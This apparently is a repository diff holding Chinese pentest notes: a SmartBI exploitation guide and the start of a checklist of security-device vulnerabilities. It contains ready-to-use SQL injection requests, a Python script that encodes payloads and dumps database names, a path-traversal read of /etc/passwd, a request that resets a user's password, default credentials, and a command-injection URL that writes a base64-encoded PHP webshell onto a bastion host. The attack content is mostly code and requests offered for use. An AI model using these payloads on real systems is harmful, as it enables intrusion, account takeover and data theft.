sheetIndex=0&resid=I40281d81016a8bc28bc20231016aaee007b230ac&clientId=Iff8080810176f0c7f0c7544f0176f54eb72c1160&refreshType=refresh¶msInfoEncode=encode=/JV/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aJ/'T/mJ/aK/VT/'T/aJ/m7/'T/a9/O9/V7/uu/ut/uu6(dp/uu/NO/uu/aJ/'T/mJ/aK/VT/'T/aJ/m7/'T/a9/O9/V7/uu/ut/uu(SR(D/uu/NO/uu/aJ/'T/mJ/aK/VT/'T/aJ/m7/'T/a9/O9/V7/uu/ut/uug(SQp/uu/NO/uun111/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uun111/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aM/'m/'7/aJ/V1/ma/aM/mt/VO/aM/ma/'K/uu/ut/uu6(dp/uu/NO/uu/aM/'m/'7/aJ/V1/ma/aM/mt/VO/aM/ma/'K/uu/ut/uu(SR(D/uu/NO/uu/aM/'m/'7/aJ/V1/ma/aM/mt/VO/aM/ma/'K/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aM/'m/'7/aJ/mt/O'/a9/mt/'1/aK/VV/VT/uu/ut/uu6(dp/uu/NO/uu/aM/'m/'7/aJ/mt/O'/a9/mt/'1/aK/VV/VT/uu/ut/uu(SR(D/uu/NO/uu/aM/'m/'7/aJ/mt/O'/a9/mt/'1/aK/VV/VT/uu/ut/uug(SQp/uu/NO/uuKK7777/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/aJ/Vm/Vx/aK/V'/mt/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aM/'m/'7/aJ/mt/O'/aJ/mt/V7/aJ/V'/'u/uu/ut/uu6(dp/uu/NO/uu/aM/'m/'7/aJ/mt/O'/aJ/mt/V7/aJ/V'/'u/uu/ut/uu(SR(D/uu/NO/uu/aM/'m/'7/aJ/mt/O'/aJ/mt/V7/aJ/V'/'u/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/aJ/'J/O'/am/'N/O'/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aM/'m/'7/aJ/mt/O'/aJ/'t/VO/aJ/'a/Vx/uu/ut/uu6(dp/uu/NO/uu/aM/'m/'7/aJ/mt/O'/aJ/'t/VO/aJ/'a/Vx/uu/ut/uu(SR(D/uu/NO/uu/aM/'m/'7/aJ/mt/O'/aJ/'t/VO/aJ/'a/Vx/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/aJ/'J/O'/am/'N/O'/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~MqRh/uu/ut/uu6(dp/uu/NO/uuRh/uu/ut/uu(SR(D/uu/NO/uu/aM/ON/'7/aM/VJ/'V/aM/mt/VO/aM/ma/'KRh/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aJ/O1/OV/aM/'O/OJ/aM/m9/VM/am/m9/VK/a'/VJ/V9/uu/ut/uu6(dp/uu/NO/uu/aJ/O1/OV/aM/'O/OJ/aM/m9/VM/am/m9/VK/a'/VJ/V9/uu/ut/uu(SR(D/uu/NO/uu/aJ/O1/OV/aM/'O/OJ/aM/m9/VM/am/m9/VK/a'/VJ/V9/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aJ/O1/OV/aM/'O/OJ/aM/m9/VM/am/m9/VK/aM/OT/Ou/uu/ut/uu6(dp/uu/NO/uu/aJ/O1/OV/aM/'O/OJ/aM/m9/VM/am/m9/VK/aM/OT/Ou/uu/ut/uu(SR(D/uu/NO/uu/aJ/O1/OV/aM/'O/OJ/aM/m9/VM/am/m9/VK/aM/OT/Ou/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aM/mV/VK/aM/mM/V7/aM/m9/VM/am/m9/VK/a'/VJ/V9/uu/ut/uu6(dp/uu/NO/uu/aM/mV/VK/aM/mM/V7/aM/m9/VM/am/m9/VK/a'/VJ/V9/uu/ut/uu(SR(D/uu/NO/uu/aM/mV/VK/aM/mM/V7/aM/m9/VM/am/m9/VK/a'/VJ/V9/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/uu/9T/ut/9V/uuRh/uu/NO/uuoQk5QkL(4(dpkp4qcK7u'1h'171M('~iu'~iu7uN171M((7~pu1m9u'~Mq/aM/mV/VK/aM/mM/V7/aM/m9/VM/am/m9/VK/aM/OT/Ou/uu/ut/uu6(dp/uu/NO/uu/aM/mV/VK/aM/mM/V7/aM/m9/VM/am/m9/VK/aM/OT/Ou/uu/ut/uu(SR(D/uu/NO/uu/aM/mV/VK/aM/mM/V7/aM/m9/VM/am/m9/VK/aM/OT/Ou/uu/ut/uug(SQp/uu/NO/uu/uu/ut/uuhRD5S(2Z(SQp/uu/NO/uu/uu/9T/JT&pageId=0&writeBackData=&exportSheetIndexes=&exportId=&op=%7B%22getTotalPages%22%3Atrue%2C%22sheetPageCounts%22%3A%5B1%5D%7D
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 0x01 解码并修改数据包直接注入
|
|
||||||
|
|
||||||
修改 paramsInfoEncode 为 paramsInfo，将 Encode 参数去掉（以下payload 可直接使用）：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/ssreportServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/openresource.jsp?iPad=true&refresh=true&showtoolbar=false&showPath=false&resid=I40281d81016a8bc28bc20231016aaee007b230ac&_timestamp=1610433924926
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 3282
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: FQPassword=; JSESSIONID=4BB550BF10C606619B753D3CE52CD3AB
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
|
|
||||||
sheetIndex=0&resid=I40281d81016a8bc28bc20231016aaee007b230ac&clientId=Iff8080810176f0c7f0c7544f0176f54eb72c1160&refreshType=refresh¶msInfo=%5B%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E5%8D%95%E4%BD%8D%E5%90%8D%E7%A7%B0%22%2C%22name%22%3A%22%E5%8D%95%E4%BD%8D%E5%90%8D%E7%A7%B0%22%2C%22alias%22%3A%22%E5%8D%95%E4%BD%8D%E5%90%8D%E7%A7%B0%22%2C%22value%22%3A%22'11111%22%2C%22displayValue%22%3A%22'11111%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E6%89%80%E5%B1%9E%E6%9C%BA%E6%9E%84%22%2C%22name%22%3A%22%E6%89%80%E5%B1%9E%E6%9C%BA%E6%9E%84%22%2C%22alias%22%3A%22%E6%89%80%E5%B1%9E%E6%9C%BA%E6%9E%84%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E6%89%80%E5%9C%A8%E7%9C%81%E4%BB%BD%22%2C%22name%22%3A%22%E6%89%80%E5%9C%A8%E7%9C%81%E4%BB%BD%22%2C%22alias%22%3A%22%E6%89%80%E5%9C%A8%E7%9C%81%E4%BB%BD%22%2C%22value%22%3A%22440000%22%2C%22displayValue%22%3A%22%E5%B9%BF%E4%B8%9C%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E6%89%80%E5%9C%A8%E5%9C%B0%E5%B8%82%22%2C%22name%22%3A%22%E6%89%80%E5%9C%A8%E5%9C%B0%E5%B8%82%22%2C%22alias%22%3A%22%E6%89%80%E5%9C%A8%E5%9C%B0%E5%B8%82%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%E5%85%A8%E9%83%A8%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E6%89%80%E5%9C%A8%E5%8C%BA%E5%8E%BF%22%2C%22name%22%3A%22%E6%89%80%E5%9C%A8%E5%8C%BA%E5%8E%BF%22%2C%22alias%22%3A%22%E6%89%80%E5%9C%A8%E5%8C%BA%E5%8E%BF%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%E5%85%A8%E9%83%A8%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.id%22%2C%22name%22%3A%22id%22%2C%22alias%22%3A%22%E6%A3%80%E6%B5%8B%E6%9C%BA%E6%9E%84id%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E5%A1%AB%E6%8A%A5%E6%97%B6%E9%97%B4%E8%B5%B7%22%2C%22name%22%3A%22%E5%A1%AB%E6%8A%A5%E6%97%B6%E9%97%B4%E8%B5%B7%22%2C%22alias%22%3A%22%E5%A1%AB%E6%8A%A5%E6%97%B6%E9%97%B4%E8%B5%B7%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E5%A1%AB%E6%8A%A5%E6%97%B6%E9%97%B4%E6%AD%A2%22%2C%22name%22%3A%22%E5%A1%AB%E6%8A%A5%E6%97%B6%E9%97%B4%E6%AD%A2%22%2C%22alias%22%3A%22%E5%A1%AB%E6%8A%A5%E6%97%B6%E9%97%B4%E6%AD%A2%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4%E8%B5%B7%22%2C%22name%22%3A%22%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4%E8%B5%B7%22%2C%22alias%22%3A%22%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4%E8%B5%B7%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%22%7D%2C%7B%22id%22%3A%22OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4%E6%AD%A2%22%2C%22name%22%3A%22%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4%E6%AD%A2%22%2C%22alias%22%3A%22%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4%E6%AD%A2%22%2C%22value%22%3A%22%22%2C%22displayValue%22%3A%22%22%7D%5D&pageId=0&writeBackData=&exportSheetIndexes=&exportId=&op=%7B%22getTotalPages%22%3Atrue%2C%22sheetPageCounts%22%3A%5B1%5D%7D
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 0x02 RMIServet加密后注入
|
|
||||||
|
|
||||||
报错注入脚本：
|
|
||||||
|
|
||||||
```
|
|
||||||
#coding=utf-8
|
|
||||||
import requests
|
|
||||||
from urllib.parse import quote,unquote
|
|
||||||
import re
|
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
||||||
|
|
||||||
#去除https的warning
|
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
||||||
|
|
||||||
ENCODING_SCHEDULE = {
|
|
||||||
"0": "7", "1": "1", "2": "u", "3": "N", "4": "K", "5": "J", "6": "M", "7": "9", "8": "'", "9": "m", "!": "P",
|
|
||||||
"%": "/", "'": "n", "(": "A", ")": "E", "*": "s", "+": "+", "-": "f", ".": "q", "A": "O", "B": "V", "C": "t",
|
|
||||||
"D": "T", "E": "a", "F": "x", "G": "H", "H": "r", "I": "c", "J": "v", "K": "l", "L": "8", "M": "F", "N": "3",
|
|
||||||
"O": "o", "P": "L", "Q": "Y", "R": "j", "S": "W", "T": "*", "U": "z", "V": "Z", "W": "!", "X": "B", "Y": ")",
|
|
||||||
"Z": "U", "a": "(", "b": "~", "c": "i", "d": "h", "e": "p", "f": "_", "g": "-", "h": "I", "i": "R", "j": ".",
|
|
||||||
"k": "G", "l": "S", "m": "d", "n": "6", "o": "w", "p": "5", "q": "0", "r": "4", "s": "D", "t": "k", "u": "Q",
|
|
||||||
"v": "g", "w": "b", "x": "C", "y": "2", "z": "X", "~": "e", "_": "y",
|
|
||||||
}
|
|
||||||
|
|
||||||
DECODING_SCHEDULE = {
|
|
||||||
"7": "0", "1": "1", "u": "2", "N": "3", "K": "4", "J": "5", "M": "6", "9": "7", "'": "8", "m": "9", "P": "!",
|
|
||||||
"/": "%", "n": "'", "A": "(", "E": ")", "s": "*", "+": "+", "f": "-", "q": ".", "O": "A", "V": "B", "t": "C",
|
|
||||||
"T": "D", "a": "E", "x": "F", "H": "G", "r": "H", "c": "I", "v": "J", "l": "K", "8": "L", "F": "M", "3": "N",
|
|
||||||
"o": "O", "L": "P", "Y": "Q", "j": "R", "W": "S", "*": "T", "z": "U", "Z": "V", "!": "W", "B": "X", ")": "Y",
|
|
||||||
"U": "Z", "(": "a", "~": "b", "i": "c", "h": "d", "p": "e", "_": "f", "-": "g", "I": "h", "R": "i", ".": "j",
|
|
||||||
"G": "k", "S": "l", "d": "m", "6": "n", "w": "o", "5": "p", "0": "q", "4": "r", "D": "s", "k": "t", "Q": "u",
|
|
||||||
"g": "v", "b": "w", "C": "x", "2": "y", "X": "z", "e": "~", "y": "_",
|
|
||||||
}
|
|
||||||
|
|
||||||
#此函数可以用来加密明文也可以解密服务器返回的密文
|
|
||||||
def encode(code):
|
|
||||||
out = ""
|
|
||||||
for item in code:
|
|
||||||
out = out + ENCODING_SCHEDULE.get(item, item)
|
|
||||||
return out
|
|
||||||
|
|
||||||
def decode(code):
|
|
||||||
out = ""
|
|
||||||
for item in code:
|
|
||||||
out = out + DECODING_SCHEDULE.get(item, item)
|
|
||||||
return out
|
|
||||||
|
|
||||||
url = "https://127.0.0.1/vision/ssreportServlet"
|
|
||||||
|
|
||||||
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36",
|
|
||||||
"Accept-Encoding":"gzip, deflate",
|
|
||||||
"Content-Type":"application/x-www-form-urlencoded",
|
|
||||||
"Cookie":"JSESSIONID=4BB550BF10C606619B753D3CE52CD3AB"
|
|
||||||
}
|
|
||||||
|
|
||||||
origin1 = '''[{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.单位名称","name":"单位名称","alias":"单位名称","value":"'''
|
|
||||||
origin2 = '''","displayValue":"'''
|
|
||||||
origin3 = '''"},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.所属机构","name":"所属机构","alias":"所属机构","value":"","displayValue":""},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.所在省份","name":"所在省份","alias":"所在省份","value":"440000","displayValue":"广东"},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.所在地市","name":"所在地市","alias":"所在地市","value":"","displayValue":"全部"},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.所在区县","name":"所在区县","alias":"所在区县","value":"","displayValue":"全部"},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.id","name":"id","alias":"检测机构id","value":"","displayValue":""},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.填报时间起","name":"填报时间起","alias":"填报时间起","value":"","displayValue":""},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.填报时间止","name":"填报时间止","alias":" 填报时间止","value":"","displayValue":""},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.更新时间起","name":"更新时间起","alias":"更新时间起","value":"","displayValue":""},{"id":"OutputParameter.I40281d81016a8bc28bc20231016aa0be219728b6.更新时间止","name":"更新时间止","alias":"更新时间止","value":"","displayValue":""}]'''
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
for i in range(1,20):
|
|
||||||
payload = "%' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {0},1),0x7e)) and null = '%".format(i)
|
|
||||||
# print(payload)
|
|
||||||
origin_full = origin1 + payload + origin2 + payload + origin3
|
|
||||||
# print(origin_full)
|
|
||||||
url_encode_full = quote(origin_full)
|
|
||||||
# print(url_encode_full)
|
|
||||||
rmi_encode = encode(url_encode_full)
|
|
||||||
# print(rmi_encode)
|
|
||||||
encode_final = 'encode='+rmi_encode
|
|
||||||
data = {
|
|
||||||
"resid":"I40281d81016a8bc28bc20231016aaee007b230ac",
|
|
||||||
"clientId":"Iff8080810176f0c7f0c7544f0176f54eb72c1160",
|
|
||||||
"refreshType":"refresh",
|
|
||||||
"paramsInfoEncode":encode_final
|
|
||||||
}
|
|
||||||
|
|
||||||
#proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
|
|
||||||
|
|
||||||
r = requests.post(url,data=data,headers=headers,verify=False)
|
|
||||||
#print(r.text)
|
|
||||||
regex = r"~\w+~"
|
|
||||||
match = re.search(regex,r.text).span() #返回第一个匹配到的结果的位置（1000,1005）
|
|
||||||
database = r.text[match[0]+1:match[1]-1]
|
|
||||||
print(r.text[match[0]:match[1]])
|
|
||||||
|
|
||||||
with open('file.txt','a+') as f:
|
|
||||||
f.write(database+'\n')
|
|
||||||
```
|
|
||||||
|
|
||||||
## 五、任意文件读取
|
|
||||||
|
|
||||||
V85以下的可能任意文件下载都有，V95版本不存在。
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/FileServlet?ftpType=out&path=upload/../../../../../../../../../../etc/passwd&name=%E4%B8%AD%E5%9B%BD%E7%9F%B3%E6%B2%B9%E5%90%89%E6%9E%97%E7%99%BD%E5%9F%8E%E9%94%80%E5%94%AE%E5%88%86%E5%85%AC%E5%8F%B8XX%E5%8A%A0%E6%B2%B9%E7%AB%99%E9%98%B2%E9%9B%B7%E5%AE%89%E5%85%A8%E5%BA%94%E6%80%A5%E9%A2%84%E6%A1%88.docx
|
|
||||||
```
|
|
||||||
|
|
||||||
## 附录、RMIServet加解密
|
|
||||||
|
|
||||||
SmartBi 有两种传参方式，RMIServlet 加密或直接传输。
|
|
||||||
|
|
||||||
### 0x01 RMIServlet加密
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/RMIServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/index.jsp
|
|
||||||
If-Modified-Since: 0
|
|
||||||
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
||||||
Content-Length: 148
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: JSESSIONID=848B4743452D02C5A53FECCA58C47299
|
|
||||||
|
|
||||||
encode=zDp4Wp4gRip+Q5h(kpzDp4xw4tI(6-p+/JV/uuc'(mKi(Kp719J(~K((~K(((pm719JhNp'uKiMM('9/uu/ut/uuXIw6--Qw1/uu/ut/uu6QSS/uu/ut/uuY!a0bp1uN/uu/utk4Qp/JT
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x02 直接传输
|
|
||||||
|
|
||||||
上述encode加密字段解密后为：
|
|
||||||
|
|
||||||
```
|
|
||||||
UserService+updateUserForChange+["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","zhongguo1","null","QWEqwe123",true]
|
|
||||||
```
|
|
||||||
|
|
||||||
等同于：
|
|
||||||
|
|
||||||
```
|
|
||||||
className=UserService&methodName=updateUserForChange¶ms=["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","zhongguo1","null","QWEqwe123",true]
|
|
||||||
```
|
|
||||||
|
|
||||||
构造数据包：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/RMIServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/index.jsp
|
|
||||||
If-Modified-Since: 0
|
|
||||||
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
||||||
Content-Length: 148
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: JSESSIONID=848B4743452D02C5A53FECCA58C47299
|
|
||||||
|
|
||||||
className=UserService&methodName=updateUserForChange¶ms=["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","zhongguo1","null","QWEqwe123",true]
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x03 RMIServet加解密脚本
|
|
||||||
|
|
||||||
```python
|
|
||||||
from urllib.parse import unquote
|
|
||||||
from urllib.parse import quote
|
|
||||||
|
|
||||||
ENCODING_SCHEDULE = {
|
|
||||||
"0": "7", "1": "1", "2": "u", "3": "N", "4": "K", "5": "J", "6": "M", "7": "9", "8": "'", "9": "m", "!": "P",
|
|
||||||
"%": "/", "'": "n", "(": "A", ")": "E", "*": "s", "+": "+", "-": "f", ".": "q", "A": "O", "B": "V", "C": "t",
|
|
||||||
"D": "T", "E": "a", "F": "x", "G": "H", "H": "r", "I": "c", "J": "v", "K": "l", "L": "8", "M": "F", "N": "3",
|
|
||||||
"O": "o", "P": "L", "Q": "Y", "R": "j", "S": "W", "T": "*", "U": "z", "V": "Z", "W": "!", "X": "B", "Y": ")",
|
|
||||||
"Z": "U", "a": "(", "b": "~", "c": "i", "d": "h", "e": "p", "f": "_", "g": "-", "h": "I", "i": "R", "j": ".",
|
|
||||||
"k": "G", "l": "S", "m": "d", "n": "6", "o": "w", "p": "5", "q": "0", "r": "4", "s": "D", "t": "k", "u": "Q",
|
|
||||||
"v": "g", "w": "b", "x": "C", "y": "2", "z": "X", "~": "e", "_": "y",
|
|
||||||
}
|
|
||||||
|
|
||||||
DECODING_SCHEDULE = {
|
|
||||||
"7": "0", "1": "1", "u": "2", "N": "3", "K": "4", "J": "5", "M": "6", "9": "7", "'": "8", "m": "9", "P": "!",
|
|
||||||
"/": "%", "n": "'", "A": "(", "E": ")", "s": "*", "+": "+", "f": "-", "q": ".", "O": "A", "V": "B", "t": "C",
|
|
||||||
"T": "D", "a": "E", "x": "F", "H": "G", "r": "H", "c": "I", "v": "J", "l": "K", "8": "L", "F": "M", "3": "N",
|
|
||||||
"o": "O", "L": "P", "Y": "Q", "j": "R", "W": "S", "*": "T", "z": "U", "Z": "V", "!": "W", "B": "X", ")": "Y",
|
|
||||||
"U": "Z", "(": "a", "~": "b", "i": "c", "h": "d", "p": "e", "_": "f", "-": "g", "I": "h", "R": "i", ".": "j",
|
|
||||||
"G": "k", "S": "l", "d": "m", "6": "n", "w": "o", "5": "p", "0": "q", "4": "r", "D": "s", "k": "t", "Q": "u",
|
|
||||||
"g": "v", "b": "w", "C": "x", "2": "y", "X": "z", "e": "~", "y": "_",
|
|
||||||
}
|
|
||||||
|
|
||||||
#此函数可以用来加密明文也可以解密服务器返回的密文
|
|
||||||
def encode(code):
|
|
||||||
out = ""
|
|
||||||
for item in code:
|
|
||||||
out = out + ENCODING_SCHEDULE.get(item, item)
|
|
||||||
return out
|
|
||||||
|
|
||||||
def decode(code):
|
|
||||||
out = ""
|
|
||||||
for item in code:
|
|
||||||
out = out + DECODING_SCHEDULE.get(item, item)
|
|
||||||
return out
|
|
||||||
|
|
||||||
def read():
|
|
||||||
with open('read.txt', 'r') as f:
|
|
||||||
return f.read()
|
|
||||||
|
|
||||||
a=read()
|
|
||||||
b = decode(a)
|
|
||||||
c = encode(a)
|
|
||||||
print('Input: ' + a + '\n')
|
|
||||||
print('decode: ' + b + '\n')
|
|
||||||
print('decode-unquote-url: '+unquote(b,'utf-8'))
|
|
||||||
print('encode: '+c)
|
|
||||||
```
|
|
||||||
|
|
||||||
注：加密和解密的过程就是替换字符的过程，最终解密得到的是 url 编码，加密时传入的文本也要是 url 编码。
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 138 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 107 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 119 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 107 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 206 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 222 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 52 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 56 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 191 KiB |
@ -1,865 +0,0 @@
|
|||||||
# 安全设备漏洞 Checklist
|
|
||||||
|
|
||||||
更新时间：2023.06
|
|
||||||
|
|
||||||
##### **【免责声明】本项目所涉及的技术、思路和工具仅供学习，任何人不得将其用于非法用途和盈利，不得将其用于非授权渗透测试，否则后果自行承担，与本项目无关。使用本项目前请先阅读 [法律法规](https://github.com/Threekiii/Awesome-Laws)。**
|
|
||||||
|
|
||||||
✅ 表示漏洞文档已收录 [Vulnerability-Wiki]( https://github.com/Threekiii/Vulnerability-Wiki) 漏洞库，仅收录2022/2023年部分安全设备，全部 iot 漏洞列表见 [README.md](https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/iot/README.md)。参考阅读：[ffffffff0x/SecDevice-Exploits](https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/RedTeam/%E5%AE%89%E9%98%B2%E8%AE%BE%E5%A4%87/SecDevice-Exploits.md#%E9%BD%90%E6%B2%BB%E5%A0%A1%E5%9E%92%E6%9C%BA)
|
|
||||||
|
|
||||||
## 一、身份与访问控制
|
|
||||||
|
|
||||||
### 0x01 堡垒机
|
|
||||||
|
|
||||||
#### 齐智堡垒机
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="齐治科技-堡垒机"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 默认口令
|
|
||||||
|
|
||||||
```
|
|
||||||
shterm/shterm
|
|
||||||
```
|
|
||||||
|
|
||||||
##### shterm命令执行 tui.update.php
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /shterm/listener/tui_update.php
|
|
||||||
|
|
||||||
a=["t';import os;os.popen('whoami')#"]
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 前台命令执行 cluster_manage.php CNVD-2019-20835
|
|
||||||
|
|
||||||
访问以下路径，返回 ok：
|
|
||||||
|
|
||||||
```
|
|
||||||
http://10.20.10.11/listener/cluster_manage.php
|
|
||||||
```
|
|
||||||
|
|
||||||
写入webshell：
|
|
||||||
|
|
||||||
```
|
|
||||||
/var/www/shterm/resources/qrcode/lbj77.php 密码10086
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 后台命令执行 data_provider.php CNVD-2019-17294
|
|
||||||
|
|
||||||
```
|
|
||||||
